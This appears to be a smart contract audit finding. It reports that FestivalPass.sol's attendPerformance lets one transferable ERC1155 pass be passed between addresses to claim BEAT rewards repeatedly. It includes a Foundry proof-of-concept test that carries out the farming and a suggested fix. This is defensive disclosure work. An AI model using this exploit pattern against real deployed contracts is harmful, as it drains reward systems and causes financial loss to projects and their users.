Multiple users can use the same pass in FestivalPass.sol::attendPerformance
function
Description
-
Holders of a festival pass should be able to attend each performance once, earning BEAT tokens as a reward
-
Because passes are implemented as fungible ERC1155 tokens and transferable, an attacker can transfer the same pass to multiple addresses to repeatedly claim the reward for the same performance.
The contract only checks if the current msg.sender
holds any pass at that moment, it does not tie attendance to the actual pass NFT
function attendPerformance(uint256 performanceId) external {
require(isPerformanceActive(performanceId), "Performance is not active");
require(hasPass(msg.sender), "Must own a pass");
require(!hasAttended[performanceId][msg.sender], "Already attended this performance");
require(block.timestamp >= lastCheckIn[msg.sender] + COOLDOWN, "Cooldown period not met");
hasAttended[performanceId][msg.sender] = true;
lastCheckIn[msg.sender] = block.timestamp;
uint256 multiplier = getMultiplier(msg.sender);
BeatToken(beatToken).mint(msg.sender, performances[performanceId].baseReward * multiplier);
emit Attended(msg.sender, performanceId, performances[performanceId].baseReward * multiplier);
}
Risk
Likelihood:
Impact:
-
Unlimited BEAT rewards can be farmed with a single pass.
-
Honest attendees are diluted as the BEAT supply inflates uncontrollably.
-
The festival’s entire reward economy is undermined, causing potential financial loss for the project.
Proof of Concept
Organizer creates a performance
Attacker buys a BACKSTAGE pass and attends performance, gets rewarded
Attacker transfers the pass to a new user
New user attends the performance without buying a pass and also gets rewards
Paste this code in your FestivalPassTest.sol
file to confirm the proof
address public attacker = makeAddr("attacker");
function setUp() public {
vm.deal(attacker, 1000 ether);
}
function test_MultipleUsersUseOnePassForPerformance() public {
uint256 startTime = block.timestamp + 1 hours;
uint256 duration = 2 hours;
uint256 reward = 100e18;
vm.startPrank(organizer);
vm.expectEmit(true, true, true, true);
emit PerformanceCreated(0, startTime, startTime + duration);
uint256 perfId = festivalPass.createPerformance(startTime, duration, reward);
assertEq(perfId, 0);
vm.stopPrank();
vm.warp(startTime + 1 hours);
vm.startPrank(attacker);
festivalPass.buyPass{value: BACKSTAGE_PRICE}(3);
festivalPass.attendPerformance(perfId);
festivalPass.safeTransferFrom(attacker, user1, 3, 1, "");
vm.stopPrank();
vm.startPrank(user1);
festivalPass.attendPerformance(perfId);
festivalPass.safeTransferFrom(user1, user2, 3, 1, "");
vm.stopPrank();
vm.startPrank(user2);
festivalPass.attendPerformance(perfId);
vm.stopPrank();
uint256 expectedAttackerBeatBalance = (3 * reward) + 15e18;
uint256 expectedUsersBeatBalance = (3 * reward);
assertEq(beatToken.balanceOf(attacker), expectedAttackerBeatBalance);
assertEq(beatToken.balanceOf(user1), expectedUsersBeatBalance);
assertEq(beatToken.balanceOf(user2), expectedUsersBeatBalance);
}
Recommended Mitigation
- Use fungible ERC1155 passes for attendance
+ Switch to ERC721 so each pass has a unique tokenId
function attendPerformance(uint256 performanceId) external {
require(isPerformanceActive(performanceId), "Performance is not active");
require(hasPass(msg.sender), "Must own a pass");
require(!hasAttended[performanceId][msg.sender], "Already attended this performance");
require(block.timestamp >= lastCheckIn[msg.sender] + COOLDOWN, "Cooldown period not met");
hasAttended[performanceId][msg.sender] = true;
+ // Track hasAttended[performanceId][tokenId]
lastCheckIn[msg.sender] = block.timestamp;
uint256 multiplier = getMultiplier(msg.sender);
BeatToken(beatToken).mint(msg.sender, performances[performanceId].baseReward * multiplier);
emit Attended(msg.sender, performanceId, performances[performanceId].baseReward * multiplier);
}